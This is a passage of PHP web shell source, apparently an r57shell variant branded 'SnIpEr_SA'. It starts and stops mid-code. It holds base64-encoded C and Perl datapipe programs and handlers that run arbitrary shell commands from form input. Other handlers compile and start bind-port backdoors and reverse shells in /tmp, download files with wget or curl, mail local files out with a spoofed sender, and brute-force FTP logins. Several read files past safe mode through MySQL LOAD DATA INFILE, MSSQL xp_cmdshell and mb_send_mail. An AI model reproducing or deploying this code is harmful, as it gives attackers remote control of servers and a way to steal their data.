+KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell_version/version.php?version=".$current_version."");}} +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<font face=Wingdings size=6><b>N</b></font><b>'.ws(2).'SnIpEr_SA </b></font></td><td bgcolor=#000000><font face=tahoma size=1>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +if($unix) + { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; + } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2)." : <b>"; +echo (($safe_mode)?("<font color=#008000></font>"):("<font color=red> </font>")); +echo "</b>".ws(2); +echo " : <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo ": <b>".(($curl_on)?("<font color=#008000></font>"):("<font color=red> </font>")); +echo "</b>".ws(2); +echo " : <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=#008000></font>"; } else { echo "<font color=red> </font>"; } +echo "</b>".ws(2); +echo " : <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=#008000></font>";}else{echo "<font color=red> </font>";} +echo "</b>".ws(2); +echo " : <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=#008000></font>";}else{echo "<font color=red> </font>";} +echo "</b>".ws(2); +echo ": <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=#008000></font>";}else{echo "<font color=red></font>";} +echo "</b><br>".ws(2); +echo " : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F></font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)." : <b>".view_size($free)."</b> : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9> +<tr><td align=right width=100>'; +echo $font; +if($unix){ +echo '<font color=#CCCCCC><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=#2279D9><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table"); + @mysql_query("CREATE TABLE `temp_SnIpEr_SA_table` ( `file` LONGBLOB NOT NULL )"); + @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_SnIpEr_SA_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from SnIpEr_SA_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo 